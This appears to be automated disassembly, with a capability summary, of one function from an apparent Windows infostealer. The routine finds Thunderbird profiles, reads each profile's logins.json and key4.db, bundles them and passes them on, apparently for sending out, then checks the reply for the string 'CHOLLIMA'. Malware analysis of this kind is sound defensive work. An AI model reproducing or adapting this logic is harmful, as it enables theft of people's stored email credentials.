Function at 0x140001a30
Capabilities:
Check if file exists
Enumerate files on windows
Get common file path
Get file size
Read file on windows

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x4d8]
sub rsp, 0x5d8
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
call fcn.14000fdf0
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, str.ThunderbirdProfiles_
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x104
call fcn.14000fdf0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x140018ab8]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001dd2
lea rdx, [rbp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x140001dc9
mov qword [rsp + 0x5f8], rbx
mov qword [rsp + 0x608], rdi
mov qword [rsp + 0x5d0], r13
mov r13d, dword [rbp + 0x4f0]
mov qword [rsp + 0x5c8], r14
xor r14d, r14d
mov qword [rsp + 0x5c0], r15
mov r15d, dword [rbp + 0x4f0]
mov qword [rsp + 0x600], rsi
lea rdx, [0x140018abc]
lea rcx, [rbp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x140001d84
xor edx, edx
lea rcx, [rbp + 0x2a0]
mov r8d, 0x104
call fcn.14000fdf0
lea r9, [rbp + 0x7c]
lea r8, [rsp + 0x40]
lea rdx, str._s_slogins.json
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rbp + 0x3b0]
mov r8d, 0x104
call fcn.14000fdf0
lea r9, [rbp + 0x7c]
lea r8, [rsp + 0x40]
lea rdx, str._s_skey4.db
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140001d84
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140001d84
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x2a0]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rsi, r14
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001c55
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r15d, eax
lea ecx, [r15 + 1]
call fcn.14000636c
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, r15d
mov rdx, rax
mov rcx, rbx
mov rsi, rax
mov byte [r15 + rax], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001c55
mov rcx, rsi
call fcn.140006358
mov rsi, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x3b0]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rdi, r14
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001cde
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r13d, eax
lea ecx, [r13 + 1]
call fcn.14000636c
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, r13d
mov rdx, rax
mov rcx, rbx
mov rdi, rax
mov byte [r13 + rax], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001cde
mov rcx, rdi
call fcn.140006358
mov rdi, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140001d84
test rdi, rdi
je 0x140001d84
lea ecx, [r15 + 6]
add ecx, r13d
call fcn.14000636c
movzx ecx, word [0x140018a04]
mov rdx, rsi
mov r8d, r15d
mov r14, rax
mov word [rax], cx
lea rcx, [rax + 6]
mov dword [rax + 2], r15d
call fcn.1400101b0
lea ebx, [r15 + 6]
mov r8d, r13d
mov ecx, ebx
mov rdx, rdi
add rcx, r14
call fcn.1400101b0
mov rcx, rsi
call fcn.140006358
mov rcx, rdi
call fcn.140006358
add ebx, r13d
xor edi, edi
nop
lea r8, [rbp + 0x4f0]
mov dword [rbp + 0x4f0], edi
mov edx, ebx
mov rcx, r14
call fcn.140001090
test rax, rax
je 0x140001ddd
lea rdx, str.CHOLLIMA
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
je 0x140001d50
xor r14d, r14d
lea rdx, [rbp + 0x50]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001b31
mov r15, qword [rsp + 0x5c0]
mov r14, qword [rsp + 0x5c8]
mov r13, qword [rsp + 0x5d0]
mov rdi, qword [rsp + 0x608]
mov rsi, qword [rsp + 0x600]
mov rbx, qword [rsp + 0x5f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindClose]
add rsp, 0x5d8
pop r12
pop rbp
ret
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001d50